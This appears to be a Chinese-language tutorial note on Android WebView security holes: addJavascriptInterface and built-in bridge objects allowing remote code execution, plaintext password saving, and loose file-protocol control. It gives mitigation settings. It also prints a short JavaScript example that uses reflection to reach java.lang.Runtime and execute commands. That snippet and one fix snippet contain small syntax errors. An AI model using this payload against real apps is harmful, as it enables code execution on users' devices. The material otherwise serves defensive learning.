webview漏洞

  1. 任意代码执行漏洞
  2. 密码明文存储漏洞
  3. 域控制不严格漏洞

  1. 任意代码执行漏洞

    漏洞产生原因:

    1. webview 中 addJavascriptInterface() 接口
    2. webview 内置导出的 searchBoxJavaBridge_ 对象
    3. webview 内置导出的 accessibilityaccessibilityTraversalObject 对象
1.addJavascriptInterface()
    分析:
     ![源码注释](webview漏洞/QQ20180619-151746.png)

    攻击代码示例

    
1
2
3
4
5
6
7
8
9
10
11
12
function execute(args){
//遍历window对象 找到包含getClass()的对象
for(var obj in window){
if("getClass" in window[obj]){
//利用反射得到Runtime对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
//调用静态方法执行命令
getMethod("getRuntime",null).invoke(null,null).exec(args);
}
}
}
解决方案: 在Android 4.2版本以前,使用prompt,console.log,alert方式,这三个方法对js里是属性原生的,在android webview这一层是可以重写这三个方法的。一般我们使用prompt,因为这个在js里使用的不多,用来和native通讯副作用比较少。 2.searchBoxJavaBridge_接口引起远程代码执行漏洞 版本3.0以前webview会默认添加一个searchBoxJavaBridge_对象。 解决:删除searchBoxJavaBridge_接口 removeJavascriptInterface(); 3.accessibility和 accessibilityTraversal接口引起远程代码执行漏洞
  1. 密码明文存储漏洞

    1
    WebSettings.setSavePassword(false)
  2. 域控制不严格漏洞

    建议解决方案:

    1. 对于不需要使用 file 协议的应用,禁用 file 协议;
    2. 对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript
    
        
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 需要使用 file 协议
    setAllowFileAccess(true);
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);

    // 禁止 file 协议加载 JavaScript
    if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
    } else {
    setJavaScriptEnabled(true);
    }